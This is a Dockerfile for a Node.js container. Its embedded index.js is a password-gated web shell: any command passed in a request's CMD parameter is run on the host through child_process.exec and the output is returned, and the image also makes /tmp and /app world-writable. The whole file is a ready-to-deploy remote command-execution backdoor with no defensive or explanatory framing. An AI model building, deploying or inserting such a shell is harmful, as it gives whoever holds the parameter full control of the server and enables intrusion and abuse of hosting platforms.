|
|
FROM node:20-bullseye |
|
|
ENV PORT 7860 |
|
|
RUN apt-get update && \ |
|
|
apt-get upgrade -y && \ |
|
|
apt-get install -y git wget curl && \ |
|
|
apt-get clean |
|
|
RUN chmod -R u+rwx,g+rwx,o+rwx /tmp |
|
|
RUN mkdir -p /app && chmod -R u+rwx,g+rwx,o+rwx /app |
|
|
WORKDIR /app |
|
|
RUN npm install axios --save |
|
|
|
|
|
COPY <<EOF /app/index.js |
|
|
const http = require('http'); |
|
|
const { exec } = require('child_process'); |
|
|
const url = require('url'); |
|
|
const querystring = require('querystring'); |
|
|
|
|
|
const server = http.createServer((req, res) => { |
|
|
|
|
|
const parsedUrl = url.parse(req.url); |
|
|
const query = querystring.parse(parsedUrl.query); |
|
|
|
|
|
|
|
|
let body = ''; |
|
|
req.on('data', chunk => { |
|
|
body += chunk.toString(); |
|
|
}); |
|
|
|
|
|
req.on('end', () => { |
|
|
|
|
|
const postData = querystring.parse(body); |
|
|
const requestData = { ...query, ...postData }; |
|
|
|
|
|
if (process.env.PASSWORD && requestData[process.env.PASSWORD] !== undefined) { |
|
|
|
|
|
if (requestData.CMD) { |
|
|
exec(requestData.CMD, (error, stdout, stderr) => { |
|
|
res.writeHead(200, { 'Content-Type': 'text/plain' }); |
|
|
res.end(stdout || stderr); |
|
|
}); |
|
|
} else { |
|
|
res.writeHead(200, { 'Content-Type': 'text/plain' }); |
|
|
res.end('No command specified'); |
|
|
} |
|
|
} else { |
|
|
res.writeHead(403, { 'Content-Type': 'text/plain' }); |
|
|
res.end('Access denied'); |
|
|
} |
|
|
}); |
|
|
}); |
|
|
|
|
|
const PORT = process.env.PORT || 7860; |
|
|
server.listen(PORT, () => { |
|
|
console.log(`Server running on port ${PORT}`); |
|
|
}); |
|
|
|
|
|
EOF |
|
|
|
|
|
CMD node /app/index.js |